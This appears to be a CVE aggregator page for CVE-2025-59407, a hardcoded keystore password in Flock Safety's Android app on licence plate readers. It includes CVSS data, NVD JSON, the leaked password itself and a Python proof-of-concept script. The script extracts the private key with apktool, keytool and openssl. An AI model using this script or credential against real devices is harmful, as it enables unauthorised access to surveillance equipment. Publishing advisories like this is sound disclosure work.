Security Vulnerability Report
中文
CVE-2025-59407 CVSS 9.8 CRITICAL

CVE-2025-59407

Published: 2025-10-02 17:16:08
Last Modified: 2025-10-24 17:26:25

Description

The Flock Safety DetectionProcessing com.flocksafety.android.objects application 6.35.33 for Android (installed on Falcon and Sparrow License Plate Readers and Bravo Edge AI Compute Devices) bundles a Java Keystore (flock_rye.bks) along with its hardcoded password (flockhibiki17) in its code. The keystore contains a private key.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:flocksafety:flock_safety:6.35.33:*:*:*:*:android:*:* - VULNERABLE
com.flocksafety.android.objects 6.35.33
Flock Safety Falcon License Plate Reader (搭载受影响固件)
Flock Safety Sparrow License Plate Reader (搭载受影响固件)
Flock Safety Bravo Edge AI Compute Device (搭载受影响固件)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2025-59407 - Flock Safety Hardcoded Keystore Password PoC This PoC demonstrates extraction of private key from the hardcoded Java Keystore bundled in com.flocksafety.android.objects v6.35.33 """ import subprocess import os import sys # Hardcoded credentials extracted from the vulnerable APK KEYSTORE_FILE = "flock_rye.bks" KEYSTORE_PASSWORD = "flockhibiki17" # Hardcoded password in APK KEY_ALIAS = "flock_rye" # Common alias pattern def extract_apk_resources(apk_path): """Extract the BKS keystore file from the APK using apktool""" output_dir = "extracted_apk" cmd = f"apktool d -f {apk_path} -o {output_dir}" subprocess.run(cmd, shell=True, check=True) # Search for the keystore file in extracted resources for root, dirs, files in os.walk(output_dir): for file in files: if file.endswith(".bks") or file.endswith(".jks"): return os.path.join(root, file) return None def find_hardcoded_password(extracted_dir): """Search for hardcoded password in decompiled Java sources""" # Search in smali/java files for the known password pattern result = subprocess.run( ["grep", "-r", "flockhibiki", extracted_dir], capture_output=True, text=True ) if result.stdout: print(f"[+] Found hardcoded password reference:\n{result.stdout}") return True return False def extract_private_key(keystore_path, password, alias): """Extract private key from Java Keystore using keytool""" output_pem = "extracted_private_key.pem" cmd = ( f"keytool -importkeystore " f"-srckeystore {keystore_path} " f"-srcstoretype BKS " f"-srcstorepass {password} " f"-srckeypass {password} " f"-srcalias {alias} " f"-destkeystore temp.p12 " f"-deststoretype PKCS12 " f"-deststorepass {password} " f"-destkeypass {password}" ) subprocess.run(cmd, shell=True, check=True) # Convert PKCS12 to PEM format cmd_pem = ( f"openssl pkcs12 -in temp.p12 -nodes -nocerts " f"-passin pass:{password} -out {output_pem}" ) subprocess.run(cmd_pem, shell=True, check=True) print(f"[+] Private key extracted to {output_pem}") return output_pem def main(): if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <path_to_apk>") sys.exit(1) apk_path = sys.argv[1] print("[*] CVE-2025-59407 PoC - Flock Safety Keystore Extraction") print("[*] Step 1: Extracting APK resources...") keystore = extract_apk_resources(apk_path) if keystore: print(f"[+] Keystore found: {keystore}") print("[*] Step 2: Verifying hardcoded password...") find_hardcoded_password("extracted_apk") print("[*] Step 3: Extracting private key...") extract_private_key(keystore, KEYSTORE_PASSWORD, KEY_ALIAS) print("[!] Vulnerability confirmed - private key successfully extracted") else: print("[-] Keystore file not found in APK") if __name__ == "__main__": main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-59407", "sourceIdentifier": "[email protected]", "published": "2025-10-02T17:16:07.527", "lastModified": "2025-10-24T17:26:24.580", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Flock Safety DetectionProcessing com.flocksafety.android.objects application 6.35.33 for Android (installed on Falcon and Sparrow License Plate Readers and Bravo Edge AI Compute Devices) bundles a Java Keystore (flock_rye.bks) along with its hardcoded password (flockhibiki17) in its code. The keystore contains a private key."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-321"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:flocksafety:flock_safety:6.35.33:*:*:*:*:android:*:*", "matchCriteriaId": "B5389583-C52F-412F-9F56-B18C52486ABC"}]}]}], "references": [{"url": "https://gainsec.com/2025/09/27/fly-by-device-2-the-falcon-sparrow-gated-wireless-rce-camera-feed-dos-information-disclosure-and-more/", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://gainsec.com/wp-content/uploads/2025/09/Root-from-the-Coop-Device-3_-Root-Shell-on-Flock-Safetys-Bravo-Compute-Box-GainSec.pdf", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://www.flocksafety.com/products", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.flocksafety.com/products/license-plate-readers", "source": "[email protected]", "tags": ["Product"]}]}}